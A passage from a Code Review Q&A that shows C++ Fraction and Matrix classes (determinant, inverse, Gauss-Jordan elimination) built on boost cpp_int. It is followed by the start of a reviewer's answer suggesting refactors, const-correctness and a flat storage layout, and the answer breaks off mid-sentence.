cpp_int Fraction::lcd(cpp_int a, cpp_int b)
{
cpp_int n = gcf(a, b);
return (a / n) * b;
}
void Fraction::simplify()
{
if (den == 0 || num == 0)
{
num = 0;
den = 1;
}
// Put neg. sign in numerator only.
if (den < 0)
{
num *= -1;
den *= -1;
}
// Factor out GCF from numerator and denominator.
cpp_int n = gcf(num, den);
num = num / n;
den = den / n;
}
Fraction Fraction::operator - (const Fraction& fr) const
{
Fraction sub( (num * fr.den) - (fr.num * den), den * fr.den );
sub.simplify();
return sub;
}
Fraction Fraction::operator+(const Fraction& fr) const
{
Fraction add ((num * fr.den) + (fr.num * den), den * fr.den );
add.simplify();
return add;
}
Fraction Fraction::operator*(const Fraction& fr) const
{
Fraction mult(num * fr.num, den * fr.den);
mult.simplify();
return mult;
}
Fraction Fraction::operator / (const Fraction& fr) const
{
Fraction sub(num * fr.den, den * fr.num);
sub.simplify();
return sub;
}
Fraction operator+(const Fraction& fr, cpp_int n)
{
return (Fraction(n) + fr);
}
Fraction operator+(cpp_int n, const Fraction& fr)
{
return (Fraction(n) + fr);
}
Fraction operator-(const Fraction& fr, cpp_int n)
{
return (Fraction(n) - fr);
}
Fraction operator-(cpp_int n, const Fraction& fr)
{
return (Fraction(n) - fr);
}
Fraction operator/(const Fraction& fr, cpp_int n)
{
return (Fraction(n) / fr);
}
Fraction operator/(cpp_int n, const Fraction& fr)
{
return (Fraction(n) / fr);
}
Fraction operator*(const Fraction& fr, cpp_int n)
{
return (Fraction(n) * fr);
}
Fraction operator*(cpp_int n, const Fraction& fr)
{
return (Fraction(n) * fr);
}
void operator+=(Fraction& f, const Fraction& fr)
{
f = f + fr;
}
void operator-=(Fraction& f, const Fraction& fr)
{
f = f - fr;
}
void operator/=(Fraction& f, const Fraction& fr)
{
f = f / fr;
}
void operator*=(Fraction& f, const Fraction& fr)
{
f = f * fr;
}
void operator+=(Fraction& fr, cpp_int n)
{
fr = fr + n;
}
void operator-=(Fraction& fr, cpp_int n)
{
fr = fr - n;
}
void operator*=(Fraction& fr, cpp_int n)
{
fr = fr * n;
}
void operator/=(Fraction& fr, cpp_int n)
{
fr = fr / n;
}
</code></pre>
<p>Matrix.h</p>
<pre><code>#ifndef MATRIX_H_INCLUDED
#define MATRIX_H_INCLUDED
#include <vector>
#include <ostream>
#include <assert.h>
#include "Fraction.h"
#include <boost/multiprecision/cpp_int.hpp>
using boost::multiprecision::cpp_int;
class Matrix
{
private:
int rows_num;
int cols_num;
std::vector <std::vector<Fraction>> data;
public:
Matrix () = default;
Matrix(int r, int c) : rows_num(r), cols_num(c)
{
assert(r > 0 && c > 0);
data.resize(r, std::vector<Fraction>( c, {0} ) );
}
Matrix(int r, int c, cpp_int n) : rows_num(r), cols_num(c)
{
assert(r > 0 && c > 0);
data.resize(r, std::vector<Fraction>( c, {n} ) );
}
friend std::ostream& operator<<(std::ostream& out, const Matrix& mx);
friend std::ostream& operator<<(std::ostream& out, const std::vector<Fraction>& diag);
bool operator== (Matrix& mx);
bool operator!= (Matrix& mx);
Matrix operator+(const Matrix& mx);
Matrix operator-(const Matrix& mx);
Matrix operator*(const Matrix& mx);
void operator+=(const Matrix& mx);
void operator-=(const Matrix& mx);
void operator*=(const Matrix& mx);
friend Matrix operator*(const Matrix& mx, cpp_int n);
friend Matrix operator*(cpp_int n, const Matrix& mx);
friend void operator*=(Matrix& mx, cpp_int n);
Fraction& operator()(int r, int c)
{
return data[r][c];
}
int size()
{
return rows_num * cols_num;
}
void resize(int r, int c)
{
data.clear();
data.resize(r, std::vector<Fraction>( c, {0} ) );
rows_num = r;
cols_num = c;
}
int rows()
{
return rows_num;
}
int cols()
{
return cols_num;
}
static Matrix IDENTITY(int n);
static Matrix CONSTANT(int r, int c, cpp_int n);
bool is_square()
{
return rows_num == cols_num;
}
bool is_identity();
bool is_symmetric();
bool is_skewSymmetric();
bool is_diagonal();
bool is_null();
bool is_constant();
bool is_orthogonal();
bool is_invertible();
bool is_upperTriangular();
bool is_lowerTriangular();
Matrix transpose();
Fraction determinant();
Matrix inverse();
Matrix gaussJordanElimination();
};
#endif // MATRIX_H_INCLUDED
</code></pre>
<p>Matrix.cpp</p>
<pre><code>#ifndef MATRIX_H_INCLUDED
#define MATRIX_H_INCLUDED
#include <vector>
#include <ostream>
#include <assert.h>
#include "Fraction.h"
#include <boost/multiprecision/cpp_int.hpp>
using boost::multiprecision::cpp_int;
class Matrix
{
private:
int rows_num;
int cols_num;
std::vector <std::vector<Fraction>> data;
public:
Matrix () = default;
Matrix(int r, int c) : rows_num(r), cols_num(c)
{
assert(r > 0 && c > 0);
data.resize(r, std::vector<Fraction>( c, {0} ) );
}
Matrix(int r, int c, cpp_int n) : rows_num(r), cols_num(c)
{
assert(r > 0 && c > 0);
data.resize(r, std::vector<Fraction>( c, {n} ) );
}
friend std::ostream& operator<<(std::ostream& out, const Matrix& mx);
friend std::ostream& operator<<(std::ostream& out, const std::vector<Fraction>& diag);
bool operator== (Matrix& mx);
bool operator!= (Matrix& mx);
Matrix operator+(const Matrix& mx);
Matrix operator-(const Matrix& mx);
Matrix operator*(const Matrix& mx);
void operator+=(const Matrix& mx);
void operator-=(const Matrix& mx);
void operator*=(const Matrix& mx);
friend Matrix operator*(const Matrix& mx, cpp_int n);
friend Matrix operator*(cpp_int n, const Matrix& mx);
friend void operator*=(Matrix& mx, cpp_int n);
Fraction& operator()(int r, int c)
{
return data[r][c];
}
int size()
{
return rows_num * cols_num;
}
void resize(int r, int c)
{
data.clear();
data.resize(r, std::vector<Fraction>( c, {0} ) );
rows_num = r;
cols_num = c;
}
int rows()
{
return rows_num;
}
int cols()
{
return cols_num;
}
static Matrix IDENTITY(int n);
static Matrix CONSTANT(int r, int c, cpp_int n);
bool is_square()
{
return rows_num == cols_num;
}
bool is_identity();
bool is_symmetric();
bool is_skewSymmetric();
bool is_diagonal();
bool is_null();
bool is_constant();
bool is_orthogonal();
bool is_invertible();
bool is_upperTriangular();
bool is_lowerTriangular();
Matrix transpose();
Fraction determinant();
Matrix inverse();
Matrix gaussJordanElimination();
};
#endif // MATRIX_H_INCLUDED
</code></pre>
<p>Matrix.cpp</p>
<pre><code>#include "Matrix.h"
#include "Utility.h"
#include <iostream>
#include <assert.h>
#include <boost/format.hpp>
using namespace std;
using namespace utilities;
using namespace boost;
ostream& operator<<(ostream& os, const Matrix& mx)
{
// a little hack I came up with to my output formatting
vector<int> vec;
for(int i = 0; i < mx.rows_num; ++i)
for(int j = 0; j < mx.cols_num; ++j)
{
int n = static_cast<int>(mx.data[i][j].num);
int d = static_cast<int>(mx.data[i][j].den);
string s = to_string(n);
int width = s.size();
s = to_string(d);
width += s.size();
vec.push_back(width);
}
int width = *max_element(vec.begin(), vec.end()) + 4;
string w = "%";
w += to_string(width) + "s";
int len = mx.data.size();
for (int i = 0; i < len; i++)
{
int len_ = mx.data[i].size();
for (int j = 0; j < len_; j++)
os << format(w.c_str()) % mx.data[i][j];
os << endl;
}
return os;
}
bool Matrix::operator==(Matrix& mx)
{
if(rows_num != mx.rows_num || cols_num != mx.cols_num)
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if(data[i][j] != mx.data[i][j])
return false;
return true;
}
bool Matrix::operator!=(Matrix& mx)
{
if(rows_num != mx.rows_num || cols_num != mx.cols_num)
return true;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if(data[i][j] != mx.data[i][j])
return true;
return false;
}
Matrix Matrix::operator+(const Matrix& mx)
{
assert(rows_num == mx.rows_num && cols_num == mx.cols_num);
Matrix add(rows_num, cols_num);
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
add.data[ i ][ j ] = data[ i ][ j ] + mx.data[ i ][ j ];
return add;
}
Matrix Matrix::operator-(const Matrix& mx)
{
assert(rows_num == mx.rows_num && cols_num == mx.cols_num);
Matrix sub(rows_num, cols_num);
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
sub.data[ i ][ j ] = data[ i ][ j ] - mx.data[ i ][ j ];
return sub;
}
Matrix Matrix::operator*(const Matrix& mx)
{
assert(cols_num == mx.rows_num);
Matrix mult(rows_num, mx.cols_num);
for(int i = 0; i < rows_num; ++i)
for (int j = 0; j < mx.cols_num; ++j)
for(int x = 0; x < cols_num; ++x)
mult.data[ i ][ j ] += data[ i ][ x ] * mx.data[ x ][ j ];
return mult;
}
void Matrix::operator*=(const Matrix& mx)
{
assert(cols_num == mx.rows_num);
*this = (*this * mx);
}
void Matrix::operator-=(const Matrix& mx)
{
assert(rows_num == mx.rows_num && cols_num == mx.cols_num);
*this = (*this - mx);
}
void Matrix::operator+=(const Matrix& mx)
{
assert(rows_num == mx.rows_num && cols_num == mx.cols_num);
*this = (*this + mx);
}
Matrix operator*(const Matrix& mx, cpp_int n)
{
Matrix mult(mx.rows_num, mx.cols_num);
for(int i = 0; i < mx.rows_num; ++i)
for(int j = 0; j < mx.cols_num; ++j)
mult.data[i][j] = mx.data[i][j] * n;
return mult;
}
Matrix operator*(cpp_int n, const Matrix& mx)
{
Matrix mult(mx.rows_num, mx.cols_num);
for(int i = 0; i < mx.rows_num; ++i)
for(int j = 0; j < mx.cols_num; ++j)
mult.data[i][j] = mx.data[i][j] * n;
return mult;
}
void operator*=(Matrix& mx, cpp_int n)
{
mx = mx * n;
}
Matrix Matrix::IDENTITY(int n)
{
assert(n > 0);
Matrix mx(n,n);
for(int i = 0; i < n; ++i)
mx.data[i][i] = {1};
return mx;
}
Matrix Matrix::CONSTANT(int r, int c, cpp_int n)
{
vector <std::vector<Fraction>> vec(r, vector<Fraction>( c, {n} ) );
Matrix mx(r,c);
mx.data = vec;
return mx;
}
bool Matrix::is_identity()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
{
if(i != j && data[ i ][ j ] != 0)
return false;
if(i == j && data[ i ][ j ] != 1)
return false;
}
return true;
}
bool Matrix::is_symmetric()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if(data[ i ][ j ] != data[ j ][ i ])
return false;
return true;
}
bool Matrix::is_skewSymmetric()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if(i != j)
if( data[ i ][ j ] != ( data[ j ][ i ]*(-1) ) )
return false;
return true;
}
bool Matrix::is_diagonal()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if(i != j)
if( data[ i ][ j ] != 0 )
return false;
return true;
}
bool Matrix::is_null()
{
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if( data[ i ][ j ] != 0 )
return false;
return true;
}
bool Matrix::is_constant()
{
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if( data[ i ][ j ] != data[0][0] )
return false;
return true;
}
bool Matrix::is_orthogonal()
{
if(! is_square())
return false;
Matrix identity = Matrix::IDENTITY(cols_num);
return (*this * this->transpose() == identity);
}
bool Matrix::is_invertible()
{
return this->determinant() != 0;
}
bool Matrix::is_lowerTriangular()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if( j > i && data[i][j] != 0)
return false;
return true;
}
bool Matrix::is_upperTriangular()
{
if(! is_square())
return false;
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
if( j < i && data[i][j] != 0)
return false;
return true;
}
Matrix Matrix::transpose()
{
Matrix trans(cols_num, rows_num);
for(int i = 0; i < rows_num; ++i)
for(int j = 0; j < cols_num; ++j)
trans.data[ j ][ i ] = data[ i ][ j ];
return trans;
}
Fraction Matrix::determinant()
{
assert(is_square());
if(is_null())
return {0};
if(is_constant())
return {0};
if(rows_num == 1)
return data[0][0];
if(is_identity())
return {1};
bool alternative_pivot_1_found;
bool pivot_not_zero_found;
int row_with_alternative_pivot;
int row_with_pivot_not_zero;
int pivot_row = 0;
int pivot_col = 0;
Matrix mx = *this;
vector<Fraction> row_mults;
int sign = 1;
while (pivot_row < (rows_num - 1))
{
alternative_pivot_1_found = pivotEqualTo_one_Found (mx.data, pivot_row, pivot_col,
rows_num, row_with_alternative_pivot);
pivot_not_zero_found = pivotNot_zero_Found(mx.data,
pivot_row, pivot_col, rows_num, row_with_pivot_not_zero);
if (mx.data[ pivot_row ] [ pivot_col ] != 1 && alternative_pivot_1_found )
{
swapRows(mx.data, pivot_row, row_with_alternative_pivot, cols_num);
sign *= (-1);
}
else if (mx.data[ pivot_row ] [ pivot_col ] == 0 && pivot_not_zero_found )
{
swapRows(mx.data, pivot_row, row_with_pivot_not_zero, cols_num );
sign *= (-1);
}
int col_dif_zero;
firstNumberNot_zero(mx.data, pivot_row, cols_num, col_dif_zero);
if (( mx.data[pivot_row] [col_dif_zero] ) != 1)
{
row_mults.push_back(mx.data[pivot_row] [col_dif_zero]);
changePivotTo_one(mx.data, pivot_row, cols_num,
mx.data[ pivot_row ][ col_dif_zero ]);
}
int n = pivot_row + 1;
while (n < rows_num)
{
Fraction constant = mx.data[ n ][ col_dif_zero ];
if(constant != 0)
zeroOutTheColumn(mx.data, n, pivot_row, cols_num, constant);
++n;
}
++pivot_row;
++pivot_col;
}
Fraction det(1);
for(int i = 0; i < rows_num; ++i)
det *= mx.data[i][i];
int len = row_mults.size();
for(int i = 0; i < len; ++i)
det = det * row_mults[i];
det *= sign;
return det;
}
Matrix Matrix::inverse()
{
assert(is_square());
if( ! is_invertible())
{
cout << "NOT INVERTIBLE\n";
return *this;
}
Matrix mx = *this;
Matrix inverse = Matrix::IDENTITY(rows_num);
bool alternative_pivot_1_found;
bool pivot_not_zero_found;
bool number_not_zero_found;
int row_with_alternative_pivot;
int row_with_pivot_not_zero;
int pivot_row = 0;
int pivot_col = 0;
//Gauss Elimination
while (pivot_row < (rows_num - 1))
{
alternative_pivot_1_found = pivotEqualTo_one_Found (mx.data, pivot_row, pivot_col,
rows_num, row_with_alternative_pivot);
pivot_not_zero_found = pivotNot_zero_Found(mx.data,
pivot_row, pivot_col, rows_num, row_with_pivot_not_zero);
if (mx.data[ pivot_row ] [ pivot_col ] != 1 && alternative_pivot_1_found )
{
swapRows(inverse.data, pivot_row, row_with_alternative_pivot, cols_num);
swapRows(mx.data, pivot_row, row_with_alternative_pivot, cols_num);
}
else if (mx.data[ pivot_row ] [ pivot_col ] == 0 && pivot_not_zero_found )
{
swapRows(inverse.data, pivot_row, row_with_pivot_not_zero, cols_num);
swapRows(mx.data, pivot_row, row_with_pivot_not_zero, cols_num );
}
int col_dif_zero;
number_not_zero_found = firstNumberNot_zero(mx.data, pivot_row, cols_num, col_dif_zero);
if(number_not_zero_found)
{
if (( mx.data[pivot_row] [col_dif_zero] ) != 1)
{
changePivotTo_one(inverse.data, pivot_row, cols_num,
mx.data[ pivot_row ][ col_dif_zero ]);
changePivotTo_one(mx.data, pivot_row, cols_num,
mx.data[ pivot_row ][ col_dif_zero ]);
}
}
int n = pivot_row + 1;
if(number_not_zero_found)
{
while (n < rows_num)
{
zeroOutTheColumn(inverse.data, n, pivot_row, cols_num, mx.data[ n ][ col_dif_zero ]);
zeroOutTheColumn(mx.data, n, pivot_row, cols_num, mx.data[ n ][ col_dif_zero ]);
++n;
}
}
++pivot_row;
++pivot_col;
}
//Jordan Elimination
while(pivot_row > 0)
{
int col_dif_zero;
number_not_zero_found = firstNumberNot_zero(mx.data, pivot_row, mx.cols_num, col_dif_zero);
if(number_not_zero_found)
{
if (( mx.data[pivot_row] [col_dif_zero] ) != 1)
{
changePivotTo_one(inverse.data, pivot_row, mx.cols_num, mx.data[ pivot_row ][ col_dif_zero ]);
changePivotTo_one(mx.data, pivot_row, mx.cols_num, mx.data[ pivot_row ][ col_dif_zero ]);
}
}
int n = pivot_row - 1;
if(number_not_zero_found)
{
while (n >= 0)
{
zeroOutTheColumn(inverse.data, n, pivot_row, mx.cols_num, mx.data[ n ][ col_dif_zero ]);
zeroOutTheColumn(mx.data, n, pivot_row, mx.cols_num, mx.data[ n ][ col_dif_zero ]);
--n;
}
}
--pivot_row;
}
return inverse;
}
Matrix Matrix::gaussJordanElimination()
{
Matrix mx = *this;
bool alternative_pivot_1_found;
bool pivot_not_zero_found;
bool number_not_zero_found;
int row_with_alternative_pivot;
int row_with_pivot_not_zero;
int pivot_row = 0;
int pivot_col = 0;
///Gauss Elimination
while (pivot_row < (rows_num - 1))
{
alternative_pivot_1_found = pivotEqualTo_one_Found (mx.data, pivot_row, pivot_col,
rows_num, row_with_alternative_pivot);
pivot_not_zero_found = pivotNot_zero_Found(mx.data,
pivot_row, pivot_col, rows_num, row_with_pivot_not_zero);
if (mx.data[ pivot_row ] [ pivot_col ] != 1 && alternative_pivot_1_found )
{
swapRows(mx.data, pivot_row, row_with_alternative_pivot, cols_num);
}
else if (mx.data[ pivot_row ] [ pivot_col ] == 0 && pivot_not_zero_found )
{
swapRows(mx.data, pivot_row, row_with_pivot_not_zero, cols_num );
}
int col_dif_zero;
number_not_zero_found = firstNumberNot_zero(mx.data, pivot_row, cols_num, col_dif_zero);
if(number_not_zero_found)
{
if (( mx.data[pivot_row] [col_dif_zero] ) != 1)
{
changePivotTo_one(mx.data, pivot_row, cols_num,
mx.data[ pivot_row ][ col_dif_zero ]);
}
}
int n = pivot_row + 1;
if(number_not_zero_found)
{
while (n < rows_num)
{
zeroOutTheColumn(mx.data, n, pivot_row, cols_num, mx.data[ n ][ col_dif_zero ]);
++n;
}
}
++pivot_row;
++pivot_col;
}
//Jordan Elimination
while(pivot_row > 0)
{
int col_dif_zero;
number_not_zero_found = firstNumberNot_zero(mx.data, pivot_row, mx.cols_num, col_dif_zero);
if(number_not_zero_found)
{
if (( mx.data[pivot_row] [col_dif_zero] ) != 1)
{
changePivotTo_one(mx.data, pivot_row, mx.cols_num, mx.data[ pivot_row ][ col_dif_zero ]);
}
}
int n = pivot_row - 1;
if(number_not_zero_found)
{
while (n >= 0)
{
zeroOutTheColumn(mx.data, n, pivot_row, mx.cols_num, mx.data[ n ][ col_dif_zero ]);
--n;
}
}
--pivot_row;
}
return mx;
}
</code></pre>
<p>main.cpp</p>
<pre><code>#include <iostream>
#include "Matrix.h"
using namespace std;
using namespace boost;
int main()
{
const int m = 5, n = 5;
Matrix a(m,n), b(3,4,3), c;
a(0,0) = {-5};
a(0,1) = {5};
a(0,2) = {-6};
a(0,3) = {-1};
a(0,4) = {0};
a(1,0) = {0};
a(1,1) = {-5};
a(1,2) = {10};
a(1,3) = {-3};
a(1,4) = {3};
a(2,0) = {1};
a(2,1) = {11};
a(2,2) = {6};
a(2,3) = {1};
a(2,4) = {7};
a(3,0) = {4};
a(3,1) = {5};
a(3,2) = {-9};
a(3,3) = {9};
a(3,4) = {-7};
a(4,0) = {-5};
a(4,1) = {10};
a(4,2) = {0};
a(4,3) = {-4};
a(4,4) = {4};
cout << "The Matrix A:" << endl;
cout << a << endl;
cout << "The Determinant of Matrix A: " << a.determinant() << endl;
if(a.is_invertible())
{
cout << "The Inverse of Matrix A:" << endl;
cout << a.inverse() << endl;
}
else
cout << "The Matrix A is not Invertible" << endl;
cout << "The Transpose of Matrix A:" << endl;
cout << a.transpose() << endl;
Matrix x(5,5,4);
cout << "\nThe Matrx X:" << endl;
cout << x;
x *= a;
cout << "\nThe Matrx X After Multiplication:" << endl;
cout << x;
c = x * 4;
cout << "\nThe Matrx C:" << endl;
cout << c;
b(0,2) = {4};
b(1,2) = {5};
b(1,3) = {2};
b(2,0) = {-8};
b(2,3) = {9};
b(0,0) = {1};
b(0,1) = {2};
cout << endl << "The Matrix B:" << endl;
cout << b;
cout << endl << "The Matrix After Being Applied the Gauss-Jordan Elimination:" << endl;
cout << b.gaussJordanElimination() << endl;
Matrix mx(4,4,4);
cout << mx.determinant() << endl;
for(int i = 0; i < m; ++i)
for(int j = 0; j < n; ++j)
{
int x;
cout << "Mx[" << i + 1 << "][" << j + 1 << "]: ";
cin >> x;
a(i,j) = {x};
}
cout << "The Matrix A:" << endl;
cout << a << endl;
c = Matrix::IDENTITY(m);
// cout << a << endl;
// cout << a.transpose();
//cout << a.transpose().determinant() << endl << endl;
// cout << a.determinant();
//cout << c;
}
</code></pre>
<p>I use the brute-force method to determine the inverse, determinant and perform the Gauss-Jordan elimination as it is the method I learnt when doing them by hand. But they require too many computations and I am looking for better way (not partial pivoting) to do it.</p>
<p><strong>Edit:</strong> I had the link to my GitHub page with this project but I have updated the project based on the first review.
<a href="https://github.com/hbtalha/Matrix-Library" rel="nofollow noreferrer">Updated Project on GitHub</a>. </p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T13:16:56.230",
"Id": "464335",
"Score": "0",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-08T15:55:24.710",
"Id": "464353",
"Score": "0",
"body": "@Vogel612 I know, the edit I did doesn't change the code as I deleted a double."
}
] |
[
{
"body": "<blockquote>\n<pre><code>using namespace std;\n</code></pre>\n</blockquote>\n\n<p>Never do that; certainly not in a header - that inflicts the harm onto <em>every source file that includes the header</em>.</p>\n\n<hr>\n\n<p>Prefer to include your own headers before Standard Library headers. This can help expose unsatisfied dependencies of your library's headers.</p>\n\n<p>Prefer <code><cmath></code> to <code><math.h></code> (etc.), as this puts the standard library identifiers into the <code>std</code> namespace, rather than the global namespace. Why does <code>Utility.h</code> need this header anyway?</p>\n\n<p>WTF is <code><conio.h></code>? It's not a standard library header. Thankfully, it seems it can be removed.</p>\n\n<p>No need to include <code><ostream></code> just for its types - include <code><iosfwd></code> instead for faster compilation. You'll need <code><ostream></code> in the implementation files, of course.</p>\n\n<hr>\n\n<p>Be careful with indentation:</p>\n\n<blockquote>\n<pre><code>for(int i = 0; i < m; ++i)\n for(int j = 0; j < n; ++j)\n {\n ...\n }\n ...\n\n cout << \"The Matrix A:\" << endl;\ncout << a << endl;\n</code></pre>\n</blockquote>\n\n<p>The first output line is indented as if it's part of the outer loop, but it's not.</p>\n\n<hr>\n\n<p>Use initializers to initialize members. This allows compilers (e.g. <code>g++ -Weffc++</code>) to spot when you fail to initialise. Here, we're not even consistent:</p>\n\n<blockquote>\n<pre><code>Fraction () : num(0), den(1) {}\nFraction (cpp_int n)\n{\n num = n;\n den = 1;\n}\nFraction(cpp_int _num, cpp_int _den) : num(_num), den(_den) {}\n</code></pre>\n</blockquote>\n\n<p>The first and last use initializers; why not the middle one? These three can actually be combined into a single constructor, by using default arguments:</p>\n\n<pre><code>Fraction(cpp_int num = 0, cpp_int den = 1)\n : num{std::move(num)},\n den{std::move(den)}\n{\n simplify();\n}\n</code></pre>\n\n<p>The <code>std::move()</code> may reduce copying there.</p>\n\n<hr>\n\n<p>With the compiler errors and warnings sorted out, we can move on to the logic of the program.</p>\n\n<h2><code>Fraction</code></h2>\n\n<p>This seems fairly straightforward, but could usefully lose the extraneous parentheses and <code>this-></code> clutter that's all over the place (we're not writing Python!).</p>\n\n<p>We could do with some tests of <code>Fraction</code> (and I really recommend using a pre-made test framework for this).</p>\n\n<p>The output streaming operator can test for integers with a simple <code>den == 1</code>, since we always keep fractions in their reduced form. That's much cheaper than using <code>%</code>.</p>\n\n<p>The comparison member functions should be declared <code>const</code>.</p>\n\n<p>I think <code>operator==(int)</code> is broken, because it performs integer division and ignores the remainder. A more robust version would be (untested):</p>\n\n<pre><code>bool operator==(int n) const\n{\n return n * den == num;\n}\n</code></pre>\n\n<p>It's conventional to write <code>operator!=()</code> in terms of <code>==</code> (i.e. <code>return !(*this == other);</code>); that makes it easier to see the correspondence, and reduce the chance of error.</p>\n\n<p>Many of the operators have overloads that are not required, given that <code>cpp_int</code> has implicit promotion to <code>Fraction</code>.</p>\n\n<p>Some operators are missing: unary <code>+</code> and <code>-</code>, pre- and post- <code>++</code> and <code>--</code>, <code>!</code>, <code>explicit operator bool</code>, <code><</code>, <code><=</code>, <code>></code>, <code>>=</code>. Possibly also <code>%</code>?</p>\n\n<p>When we reimplement <code>std::gcd()</code> to accept <code>cpp_int</code>, let's not give it a gratuitously different name; it should be <code>static</code>, since it doesn't need to access <code>this</code>. The <code>lcf()</code> member (which parallels <code>std::lcd()</code>) is unused.</p>\n\n<p>The arithmetic operators have a lot of duplication. Implement the non-assigning functions in terms of the assigning ones. For example:</p>\n\n<pre><code>class Fraction\n{\n Fraction& operator+=(const Fraction& fr);\n Fraction operator+(const Fraction& fr) const;\n};\n\nFraction& Fraction::operator+=(const Fraction& fr)\n{\n num = num * fr.den + fr.num * den;\n den *= fr.den;\n simplify();\n return *this;\n}\n\nFraction Fraction::operator+(Fraction fr) const\n{\n return fr += *this;\n}\n</code></pre>\n\n<p>Notice the return types (assignment operators always return a reference to the object) and passing by value to <code>operator+()</code>.</p>\n\n<p>With the above changes applied, I get the following refactored (simplified) class:</p>\n\n<pre><code>#include <iosfwd>\n#include <utility>\n\n#include <boost/multiprecision/cpp_int.hpp>\n\nclass Fraction\n{\n using cpp_int = boost::multiprecision::cpp_int;\n\n static cpp_int gcd(const cpp_int& a, const cpp_int& b);\n void simplify();\n\npublic:\n cpp_int num;\n cpp_int den;\n\n Fraction(cpp_int num = 0, cpp_int den = 1)\n : num{std::move(num)},\n den{std::move(den)}\n {\n simplify();\n }\n\n Fraction(int num = 0, int den = 1)\n : num{num},\n den{den}\n {\n simplify();\n }\n\n friend std::ostream& operator<<(std::ostream& os, const Fraction& fr);\n\n bool operator==(const Fraction& fr) const { return num == fr.num && den == fr.den; }\n bool operator!=(const Fraction& fr) const { return !(*this == fr); }\n\n bool operator<(const Fraction& fr) const { return num * fr.den < den * fr.num; }\n bool operator<=(const Fraction& fr) const { return *this == fr || *this < fr; }\n bool operator>(const Fraction& fr) const { return !(*this<=fr); }\n bool operator>=(const Fraction& fr) const { return !(*this<fr); }\n\n explicit operator bool() const { return num != 0; }\n\n Fraction operator+() const;\n Fraction operator-() const;\n\n Fraction& operator++();\n Fraction& operator--();\n\n Fraction operator++(int);\n Fraction operator--(int);\n\n Fraction& operator+=(const Fraction& fr);\n Fraction& operator-=(const Fraction& fr);\n Fraction& operator*=(const Fraction& fr);\n Fraction& operator/=(const Fraction& fr);\n};\n\nFraction operator+(Fraction a, const Fraction& b) { return a += b; }\nFraction operator-(Fraction a, const Fraction& b) { return a -= b; }\nFraction operator*(Fraction a, const Fraction& b) { return a *= b; }\nFraction operator/(Fraction a, const Fraction& b) { return a /= b; }\n</code></pre>\n\n\n\n<pre><code>std::ostream& operator<<(std::ostream& os, const Fraction& fr)\n{\n os << fr.num;\n if (fr.den != 1) {\n os << \"/\" << fr.den;\n }\n return os;\n}\n\nFraction::cpp_int Fraction::gcd(const Fraction::cpp_int& a, const Fraction::cpp_int& b)\n{\n return b ? gcd(b, a%b) : a;\n}\n\nvoid Fraction::simplify()\n{\n // Denominators are always positive\n if (den < 0) {\n num = -num;\n den = -den;\n }\n\n // Factor out gcd from numerator and denominator.\n auto const n = gcd(abs(num), den);\n num /= n;\n den /= n;\n}\n\n\nFraction Fraction::operator+() const\n{\n return *this;\n}\n\nFraction Fraction::operator-() const\n{\n return { -num, den };\n}\n\nFraction& Fraction::operator++()\n{\n num += den;\n return *this;\n}\n\nFraction& Fraction::operator--()\n{\n num -= den;\n return *this;\n}\n\nFraction Fraction::operator++(int)\n{\n auto old = *this;\n ++*this;\n return old;\n}\n\nFraction Fraction::operator--(int)\n{\n auto old = *this;\n --*this;\n return old;\n}\n\nFraction& Fraction::operator+=(const Fraction& fr)\n{\n num = num * fr.den + fr.num * den;\n den *= fr.den;\n simplify();\n return *this;\n}\n\nFraction& Fraction::operator-=(const Fraction& fr)\n{\n return *this += -fr;\n}\n\nFraction& Fraction::operator*=(const Fraction& fr)\n{\n num *= fr.num;\n den *= fr.den;\n simplify();\n return *this;\n}\n\nFraction& Fraction::operator/=(const Fraction& fr)\n{\n return *this *= { fr.den, fr.num };\n}\n</code></pre>\n\n<h1><code>Matrix</code></h1>\n\n<p>The first thing I see here is that we use (signed) <code>int</code> for the dimensions. I think it would be less surprising if we had <code>std::size_t</code> instead, like all the standard containers.</p>\n\n<p>The structure (vector of vectors) has unnecessary overhead, and poor locality of reference. A simple improvement would be to use a single vector and index into it as a raster (i.e. <code>index = col + row * width</code>). More advanced versions are possible with the same public interface (e.g. for tile-based or sparse storage). When making this change, it makes sense for the \"utilities\" functions to be brought in as private members, rather than passing the storage and its shape to them.</p>\n\n<p>Keep using <code>std::vector</code> for the storage - that's great, because it enables the Rule of Zero; we don't need to implement our own copy/move constructors and assignment.</p>\n\n<p>Some of the review of <code>Fraction</code> operators applies here: assignment operators should return a reference to <code>*this</code>, and comparison operators should be <code>const</code>. There are a lot of additional functions here that also should be <code>const</code> and/or accept const-ref arguments.</p>\n\n<p>It's not clear why <code>*</code> and <code>*=</code> take a <code>cpp_int</code> - why not a <code>Fraction</code>?</p>\n\n<p>The naming of <code>IDENTITY</code> and <code>CONSTANT</code> is unconventional - most programmers use all-caps for macros, which need special care as they behave differently from functions (e.g. scope rules and muliply-expanded arguments). Please don't distract from the real macros like that.</p>\n\n<p>I don't see the value of <code>CONSTANT</code> - it seems to merely duplicate the three-argument constructor. Similarly, <code>resize()</code> is redundant - we can just assign a new matrix of the required size.</p>\n\n<p>Also on naming, <code>transpose()</code> sounds like a mutator, but it actually creates a transposed <em>copy</em> of the matrix. I'd call that <code>transposed()</code> instead (and mark it 